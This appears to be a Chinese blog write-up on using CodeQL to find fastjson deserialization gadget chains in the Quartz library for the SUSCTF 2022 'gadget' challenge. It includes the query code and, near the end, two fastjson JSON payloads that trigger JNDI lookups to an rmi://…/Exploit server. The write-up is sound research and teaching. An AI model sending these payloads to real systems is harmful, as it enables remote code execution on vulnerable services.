codeql使用小记

例题SUSCTF 2022 gadget , 可以参考使用CodeQL分析CTF题目 - SecPulse.COM | 安全脉搏

环境搭建

采用fastjson 1.2.36,文章作者在github clone下来2.2.1版本然后编译。

不得不说java的版本兼容就是依托史,换了好几个maven和java版本均不行,有的报错查都查不到。。。

忘了在哪找了个附件quartz.jar, 决定用反编译来搭建环境。

使用github项目https://github.com/ttonys/CodeQLAnalyseJar

跑起来又尼玛报错,看着好像是操作系统不一样导致的,我一直用的windows。

最终决定用jadx反编译后保存一下,丢进src1目录:

image-20240408112532050

然后ant -f build.xml , 可以运行。

构建:

1
codeql database create e:/codeaudit/codeql/databases/quartz --language=java --command="ant -f build.xml" --source-root=e:/your-source-root --overwrite

链子查找

直接用这个:

https://xz.aliyun.com/t/7482

核心代码在这:

1
2
3
4
5
6
7
8
9
10
11
MethodAccess seekSink(Method sourceMethod){
exists(
MethodAccess ma, Method method|
(ma.getEnclosingStmt() = sourceMethod.getBody().getAChild*() and
method = ma.getMethod()) or
(ma.getEnclosingStmt() = sourceMethod.getBody().getAChild*() and ma.getArgument(0).(ClassInstanceExpr).getAnonymousClass().isAnonymous() and method = ma.getArgument(0).(ClassInstanceExpr).getAnonymousClass().getAMethod())|
if method instanceof JNDIMethod
then result = ma
else result = seekSink(method)
)
}

看着逻辑挺绕的,作者也没细讲。

  1. ma.getEnclosingStmt() = sourceMethod.getBody().getAChild*(): 这部分条件要求 ma 对象所在的语句(enclosing statement)是给定方法 sourceMethod 的一个子语句。换句话说,ma 对象是在 sourceMethod 方法的主体中被访问的。
  2. 和1差不多,查找了匿名类的sink

Image

img

有该成员变量。并且有setter。

sink:

img

可以给出一个poc:

1
{\"@type\":\"org.quartz.impl.jdbcjobstore.JTANonClusteredSemaphore\",\"TransactionManagerJNDIName\":\"rmi://127.0.0.1:1389/Exploit\", \"transaction\":{\"$ref\":\"$.transaction\"}}

原文章里打错了,他的poc里Transaction开头t应该小写。

另一个没有setUrl,但是观察过后也是可以利用的,我们挖掘fastjson往往关注getter和setter,而忽略了构造函数。

改进

fastjson parse的时候是会调用public的含参构造函数的,其实可以加一条:

1
2
3
4
5
class FastjsonConstructorMethod extends Constructor {
FastjsonConstructorMethod() {
this.isPublic()
}
}

由于Constructor和Method都是继承自Callable,那么改一下seekSink:

1
MethodAccess seekSink(Callable sourceMethod){

image-20240408114340352

可以看一下,JNDIConnectionProvider的构造函数会设置this.url, 然后进入init, init里有jndi查询:

image-20240408114638583

诶这不就能打了,给个poc:

1
"{\"@type\":\"org.quartz.utils.JNDIConnectionProvider\",\"jndiUrl\":\"rmi://localhost:1389/Exploit\"}"

另一个是写死的,没法利用。

image-20240408114748546


codeql使用小记
http://example.com/2024/04/08/codeql使用小记_and_fastjson漏洞挖掘/
Aŭtoro
zhattatey
Postigita
April 8, 2024
Lizenta